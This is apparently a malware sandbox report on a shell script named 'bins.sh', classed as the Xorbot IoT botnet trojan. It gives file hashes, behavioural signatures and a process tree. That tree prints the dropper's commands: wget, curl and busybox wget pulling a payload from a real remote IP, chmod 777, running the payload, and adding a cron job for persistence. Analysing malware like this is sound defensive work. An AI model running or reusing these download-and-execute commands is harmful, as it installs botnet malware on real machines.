Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    05-01-2025 04:17

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e82d6bb75d49d8b5732ffbd8b2d4b88c

  • SHA1

    2ed4e0b594b0dc301bd2b14b2df00e8c0c0f1675

  • SHA256

    c72772c053710f5d8e33f7c82811e588b2a2b25e5b9a56bfbc20c8255ba954c9

  • SHA512

    32cba099b69d3bc28f8eff2ba6152c2d205dc0dce7b1897e1d91a43ae6676cc9580b21aa6448ef5fc474b5a50e27300f4de5ca27fd34668f41f4ddbfbf1f5d3a

  • SSDEEP

    96:typkYWMKrbw4gpF832npkQYYg149K3bw4gpFK6lGcGB:CkYWMabw4gpF83uvew4gpFw

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1846) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1525
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1526
        • /usr/bin/wget
          wget http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Writes file to tmp directory
          PID:1527
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Writes file to tmp directory
          PID:1531
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Writes file to tmp directory
          PID:1532
        • /bin/chmod
          chmod 777 ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • File and Directory Permissions Modification
          PID:1533
        • /tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          ./ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1534
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1536
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1537
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1538
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1539
              • /bin/rm
                rm ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
                2⤵
                  PID:1541
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
                  2⤵
                    PID:1544

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
                  Filesize

                  98KB

                  MD5

                  5141342d0df8699fa32a6b066a0c592e

                  SHA1

                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                  SHA256

                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                  SHA512

                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                  Download Submit

                • /var/spool/cron/crontabs/tmp.rsiJER
                  Filesize

                  210B

                  MD5

                  ce5e3a930e1336c3ea521bce248d65f6

                  SHA1

                  c555cb1e8ed299985df9aa153f2639226c93b7fe

                  SHA256

                  a0335ea04e1afa563d13ac009bdb60b7665162125711ff613c6912a0bbd619e3

                  SHA512

                  11cf7db39c484a66d4a442b12f309354f2a546221aadda78c6de834d280d1aa36c7712b94a3a0aafa9f32c8ee56e1350d1be4bece482e7a5f5fea655c4c35c9f

                  Download Submit